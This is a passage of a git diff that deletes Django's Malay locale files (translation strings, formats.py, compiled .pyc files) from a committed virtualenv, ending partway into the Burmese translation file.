-msgid "That page number is less than 1" -msgstr "Nombor ruangan itu kurang daripada 1" - -msgid "That page contains no results" -msgstr "Ruangan itu tiada keputusan" - -msgid "Enter a valid value." -msgstr "Masukkan nilai yang sah." - -msgid "Enter a valid URL." -msgstr "Masukkan URL yang sah." - -msgid "Enter a valid integer." -msgstr "Masukkan integer yang sah." - -msgid "Enter a valid email address." -msgstr "Masukkan alamat emel yang sah." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Masukkan \"slug\" yang sah yang mengandungi huruf, nombor, garisan atau " -"tanda sempang." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Masukkan \"slug\" yang sah yang mengandungi huruf Unicode, nombor, garisan, " -"atau tanda sempang." - -msgid "Enter a valid IPv4 address." -msgstr "Masukkan alamat IPv4 yang sah." - -msgid "Enter a valid IPv6 address." -msgstr "Masukkan alamat IPv6 yang sah." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Masukkan alamat IPv4 atau IPv6 yang sah." - -msgid "Enter only digits separated by commas." -msgstr "Hanya masukkan digit yang dipisahkan oleh koma." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Pastikan nilai ini adalah %(limit_value)s (ia adalah %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Pastikan nilai ini kurang daripada atau sama dengan %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Pastikan nilai ini lebih daripada atau sama dengan %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Pastikan nilai ini mempunyai sekurang-kurangnya %(limit_value)d karater (ia " -"mempunyai %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Pastikan nilai ini mempunyai sepalingnya %(limit_value)d karakter (ia " -"mempunyai %(show_value)d)." - -msgid "Enter a number." -msgstr "Masukkan nombor." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Pastikan jumlah tidak melebihi %(max)s digit." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Pastikan titik perpuluhan tidak melebihi %(max)s." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Pastikan jumlah digit tidak melebihi %(max)s sebelum titik perpuluhan." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Sambungan fail \"%(extension)s\" tidak dibenarkan. Sambungan yang dibenarkan " -"adalah: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Karakter Null tidak dibenarkan." - -msgid "and" -msgstr "dan" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s dengan %(field_labels)s ini sudah wujud." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Nilai %(value)r bukan pilihan yang sah." - -msgid "This field cannot be null." -msgstr "Medan ini tidak boleh null." - -msgid "This field cannot be blank." -msgstr "Medan ini tidak boleh dibiarkan kosong." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s dengan %(field_label)s ini sudah wujud." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "%(field_label)s mesti unik untuk %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Jenis medan: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Nilai \"%(value)s\" mesti samada True atau False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Nilai \"%(value)s\" mesti samada True, False, atau None." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Samada True atau False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (sehingga %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Integer dipisahkan dengan koma" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Nilai \"%(value)s\" mempunyai format tarikh yang tidak sah. Format harus " -"berbentuk YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Nilai \"%(value)s\" mempunyai format yang betul (YYYY-MM-DD) tetapi ia " -"adalah tarikh yang tidak sah." - -msgid "Date (without time)" -msgstr "Tarikh (tanpa masa)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Nilai \"%(value)s\" mempunyai format yang tidak sah. Format harus berbentuk " -"YYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Nilai \"%(value)s\" mempunyai format yang betul (YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ]) tetapi ia adalah tarikh/masa yang tidak sah." - -msgid "Date (with time)" -msgstr "Tarikh (dengan masa)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Nilai \"%(value)s\" mesti dalam bentuk nombor titik perpuluhan." - -msgid "Decimal number" -msgstr "Nombor titik perpuluhan" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Nilai \"%(value)s\" mempunyai format yang tidak sah. Format harus berbentuk " -"[DD] [[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Jangka-masa" - -msgid "Email address" -msgstr "Alama emel" - -msgid "File path" -msgstr "Laluan fail" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Nilai \"%(value)s\" mesti dalam bentuk titik terapung." - -msgid "Floating point number" -msgstr "Nombor titik terapung" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Nilai \"%(value)s\" mesti dalam bentuk integer." - -msgid "Integer" -msgstr "Integer" - -msgid "Big (8 byte) integer" -msgstr "Integer besar (8 bait)" - -msgid "Small integer" -msgstr "Integer kecil" - -msgid "IPv4 address" -msgstr "Alamat IPv4" - -msgid "IP address" -msgstr "Alamat IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Nilai \"%(value)s\" mesti samada None, True, atau False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (samada True, False, None)" - -msgid "Positive big integer" -msgstr "Integer besar positif" - -msgid "Positive integer" -msgstr "Integer positif" - -msgid "Positive small integer" -msgstr "Integer kecil positif" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (sehingga %(max_length)s)" - -msgid "Text" -msgstr "Teks" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Nilai \"%(value)s\" mempunyai format yang tidak sah. Format harus berbentuk " -"HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Nilai \"%(value)s\" mempunyai format yang betul (HH:MM[:ss[.uuuuuu]]) tetapi " -"ia mempunyai masa yang tidak sah." - -msgid "Time" -msgstr "Masa" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Data binari mentah" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "UUID \"%(value)s\" tidak sah." - -msgid "Universally unique identifier" -msgstr "Pengecam unik universal" - -msgid "File" -msgstr "Fail" - -msgid "Image" -msgstr "Imej" - -msgid "A JSON object" -msgstr "Objek JSON" - -msgid "Value must be valid JSON." -msgstr "Nilai harus dalam bentuk JSON yang sah." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s dengan %(field)s %(value)r tidak wujud." - -msgid "Foreign Key (type determined by related field)" -msgstr "Kunci Asing (jenis ditentukan oleh medan yang berkaitan)" - -msgid "One-to-one relationship" -msgstr "Hubungan satu-ke-satu" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Hubungan %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Hubungan %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Hubungan banyak-ke-banyak" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Medan ini diperlukan." - -msgid "Enter a whole number." -msgstr "Masukkan nombor bulat." - -msgid "Enter a valid date." -msgstr "Masukkan tarikh yang sah." - -msgid "Enter a valid time." -msgstr "Masukkan masa yang sah." - -msgid "Enter a valid date/time." -msgstr "Masukkan tarikh/masa yang sah." - -msgid "Enter a valid duration." -msgstr "Masukkan jangka-masa yang sah." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Jumlah hari mesti diantara {min_days} ke {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Tiada fail yang dihantar. Periksa jenis encoding pada borang." - -msgid "No file was submitted." -msgstr "Tiada fail yang dihantar." - -msgid "The submitted file is empty." -msgstr "Fail yang dihantar kosong." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Pastikan nama fial ini tidak melebihi %(max)d karakter (ia mempunyai " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Sila hantar fail atau tandakan pada kotak, bukan kedua-duanya sekali. " - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Muatnaik imej yang sah. Fail yang anda muatnaik samada bukan imej atau imej " -"yang rosak." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Pilih pilihan yang sah. %(value)s bukan pilihan yang tersedia." - -msgid "Enter a list of values." -msgstr "Masukkan senarai nilai." - -msgid "Enter a complete value." -msgstr "Masukkan nilai yang lengkap." - -msgid "Enter a valid UUID." -msgstr "Masukkan UUID yang sah." - -msgid "Enter a valid JSON." -msgstr "Masukkan JSON yang sah." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "%(error)s (Medan tersorok %(name)s)" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Data ManagementForm tidak dijumpai atau telah diusik. Medan yang hilang: " -"%(field_names)s. Anda mungkin perlu menghantar laporan pepijat sekiranya " -"masalah masih berterusan." - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "Sila hantar tidak lebih dari %d borang." - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "Sila hantar sekurang-kurangnya %d borang." - -msgid "Order" -msgstr "Susunan" - -msgid "Delete" -msgstr "Padam" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Sila betulkan data duplikasi bagi %(field)s" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Sila betulkan data duplikasi bagi %(field)s, yang mana mestilah unik." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Sila betulkan data duplikasi bagi %(field_name)s yang mana mestilah unik " -"untuk %(lookup)s didalam %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Sila betulkan nilai-nilai duplikasi dibawah." - -msgid "The inline value did not match the parent instance." -msgstr "Nilai didalam barisan tidak sepadan dengan parent instance." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Pilih pilihan yang sah. Pilihan itu tidak ada didalam senarai pilihan." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" bukan nilai yang sah." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s tidak dapat diterjemahkan ke dalam zon masa " -"%(current_timezone)s; ia mungkin samar-samar atau tidak wujud." - -msgid "Clear" -msgstr "Kosongkan" - -msgid "Currently" -msgstr "Kini" - -msgid "Change" -msgstr "Tukar" - -msgid "Unknown" -msgstr "Tidak diketahui" - -msgid "Yes" -msgstr "Ya" - -msgid "No" -msgstr "Tidak" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ya,tidak,mungkin" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bait" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "malam" - -msgid "a.m." -msgstr "pagi" - -msgid "PM" -msgstr "MALAM" - -msgid "AM" -msgstr "PAGI" - -msgid "midnight" -msgstr "tengah malam" - -msgid "noon" -msgstr "tengahari" - -msgid "Monday" -msgstr "Isnin" - -msgid "Tuesday" -msgstr "Selasa" - -msgid "Wednesday" -msgstr "Rabu" - -msgid "Thursday" -msgstr "Khamis" - -msgid "Friday" -msgstr "Jumaat" - -msgid "Saturday" -msgstr "Sabtu" - -msgid "Sunday" -msgstr "Ahad" - -msgid "Mon" -msgstr "Isn" - -msgid "Tue" -msgstr "Sel" - -msgid "Wed" -msgstr "Rab" - -msgid "Thu" -msgstr "Kha" - -msgid "Fri" -msgstr "Jum" - -msgid "Sat" -msgstr "Sab" - -msgid "Sun" -msgstr "Aha" - -msgid "January" -msgstr "Januari" - -msgid "February" -msgstr "Februari" - -msgid "March" -msgstr "Mac" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mei" - -msgid "June" -msgstr "Jun" - -msgid "July" -msgstr "Julai" - -msgid "August" -msgstr "Ogos" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Disember" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mei" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ogo" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dis" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb" - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mac" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mei" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Jun" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julai" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ogo." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dis." - -msgctxt "alt. month" -msgid "January" -msgstr "Januari" - -msgctxt "alt. month" -msgid "February" -msgstr "Februari" - -msgctxt "alt. month" -msgid "March" -msgstr "Mac" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Mei" - -msgctxt "alt. month" -msgid "June" -msgstr "Jun" - -msgctxt "alt. month" -msgid "July" -msgstr "Julai" - -msgctxt "alt. month" -msgid "August" -msgstr "Ogos" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "Disember" - -msgid "This is not a valid IPv6 address." -msgstr "Alamat IPv6 ini tidak sah." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s ..." - -msgid "or" -msgstr "atau" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d tahun" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d bulan" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d minggu " - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d hari" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d jam" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minit" - -msgid "Forbidden" -msgstr "Dilarang" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verifikasi VSRF gagal. Permintaan dihentikan." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Anda melihat mesej ini kerana laman HTTPS ini memerlukan \"Referer header\" " -"dihantar ke pelayar sesawang anda, tetapi ia tidak dihantar. Header ini " -"diperlukan bagi tujuan keselamatan, agar dapat memastikan pelayar anda tidak " -"dirampas oleh pihak ketiga." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Sekiranya anda telah menetapkan pelayar anda untuk mematikan header \"Referer" -"\", sila hidupkannya semula, sekurang-kurangya bagi laman ini, atau bagi " -"sambungan HTTPS, atau bagi permintaan \"same-origin\"." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Sekiranya anda menggunakan tag atau memasukkan header \"Referer-Policy: no-referrer\", sila buangkan " -"ia. Perlindungan CSRF memerlukan header \"Referer\" untuk melakukan " -"penyemakan referer yang ketat. Sekiranya anda risau tentang privasi anda, " -"gunakan alternatif seperti bagi pautan laman pihak " -"ketiga." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Anda melihat mesej ini kerana laman ini memerlukan cookie CSRF apabila " -"menghantar borang. Cookie ini diperlukan bagi tujuan keselamatan, bagi " -"memastikan pelayar anda tidak dirampas oleh pihak ketiga." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Sekiranya anda telah menetapkan pelayar anda untuk tidak menerima cookie, " -"sila hidupkannya semula, sekurang-kurangnya bagi laman ini, atau bagi " -"permintaan \"same-origin\"." - -msgid "More information is available with DEBUG=True." -msgstr "Maklumat lanjut boleh didapati dengan menetapkan DEBUG=True." - -msgid "No year specified" -msgstr "Tiada tahun diberikan" - -msgid "Date out of range" -msgstr "Tarikh diluar julat" - -msgid "No month specified" -msgstr "Tiada bulan diberikan" - -msgid "No day specified" -msgstr "Tiada hari diberikan" - -msgid "No week specified" -msgstr "Tiada minggu diberikan" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s tiada" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s masa depan tiada kerana %(class_name)s.allow_future " -"adalah False. " - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"\"%(datestr)s\" tarikh yang diberikan tidak sah mengikut format \"%(format)s" -"\"" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Tiada %(verbose_name)s mengikut pertanyaan yang dimasukkan" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Ruangan ini bukan \"last\", dan tidak boleh ditukar kepada int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ruangan tidak sah (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Senarai kosong dan \"%(class_name)s.allow_empty\" adalah False." - -msgid "Directory indexes are not allowed here." -msgstr "Indeks Direktori tidak dibenarkan disini." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" tidak wujud" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indeks %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Pemasangan berjaya dilakukan! Tahniah!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Lihat nota pelepasan bagi Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Anda melihat ruangan ini kerana DEBUG=True terdapat didalam fail tetapan anda dan anda tidak " -"menetapkan sebarang URL." - -msgid "Django Documentation" -msgstr "Dokumentasi Django" - -msgid "Topics, references, & how-to’s" -msgstr "Topik, rujukan, & bagaimana-cara" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: App Soal-Selidik" - -msgid "Get started with Django" -msgstr "Mulakan dengan Django" - -msgid "Django Community" -msgstr "Komuniti Django" - -msgid "Connect, get help, or contribute" -msgstr "Sambung, minta bantuan, atau sumbang" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ms/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ms/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ms/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ms/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index ea50a403..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ms/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ms/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ms/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 12cb3864..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ms/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ms/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ms/formats.py deleted file mode 100644 index d06719fe..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ms/formats.py +++ /dev/null @@ -1,38 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j M Y" # '25 Oct 2006' -TIME_FORMAT = "P" # '2:30 p.m.' -DATETIME_FORMAT = "j M Y, P" # '25 Oct 2006, 2:30 p.m.' -YEAR_MONTH_FORMAT = "F Y" # 'October 2006' -MONTH_DAY_FORMAT = "j F" # '25 October' -SHORT_DATE_FORMAT = "d/m/Y" # '25/10/2006' -SHORT_DATETIME_FORMAT = "d/m/Y P" # '25/10/2006 2:30 p.m.' -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - "%d %b %Y", # '25 Oct 2006' - "%d %b, %Y", # '25 Oct, 2006' - "%d %B %Y", # '25 October 2006' - "%d %B, %Y", # '25 October, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/my/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/my/LC_MESSAGES/django.mo deleted file mode 100644 index 06d9129b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/my/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/my/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/my/LC_MESSAGES/django.po deleted file mode 100644 index a1c7e9ad..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/my/LC_MESSAGES/django.po +++ /dev/null @@ -1,1197 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Yhal Htet Aung , 2013,2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Burmese (http://www.transifex.com/django/django/language/" -"my/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: my\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "အာဖရိကန်" - -msgid "Arabic" -msgstr "အာရပ်" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "" - -msgid "Bulgarian" -msgstr "ဘူဂေးရီယန်" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "ဘင်းဂလီ" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "ဘော့်စ်နီယန်" - -msgid "Catalan" -msgstr "ကက်တလန်" - -msgid "Czech" -msgstr "ချက်" - -msgid "Welsh" -msgstr "ဝေးလ်" - -msgid "Danish" -msgstr "ဒိန်းမတ်" - -msgid "German" -msgstr "ဂျာမန်" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "ဂရိ" - -msgid "English" -msgstr "အင်္ဂလိပ်" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "ဗြိတိသျှအင်္ဂလိပ်" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "စပိန်" - -msgid "Argentinian Spanish" -msgstr "" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "" - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "" - -msgid "Basque" -msgstr "" - -msgid "Persian" -msgstr "" - -msgid "Finnish" -msgstr "" - -msgid "French" -msgstr "" - -msgid "Frisian" -msgstr "" - -msgid "Irish" -msgstr "" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "" - -msgid "Hebrew" -msgstr "" - -msgid "Hindi" -msgstr "" - -msgid "Croatian" -msgstr "" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "" - -msgid "Italian" -msgstr "" - -msgid "Japanese" -msgstr "" - -msgid "Georgian" -msgstr "" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "" - -msgid "Kannada" -msgstr "" - -msgid "Korean" -msgstr "" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "" - -msgid "Latvian" -msgstr "" - -msgid "Macedonian" -msgstr "" - -msgid "Malayalam" -msgstr "" - -msgid "Mongolian" -msgstr "" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "" - -msgid "Norwegian Nynorsk" -msgstr "" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "" - -msgid 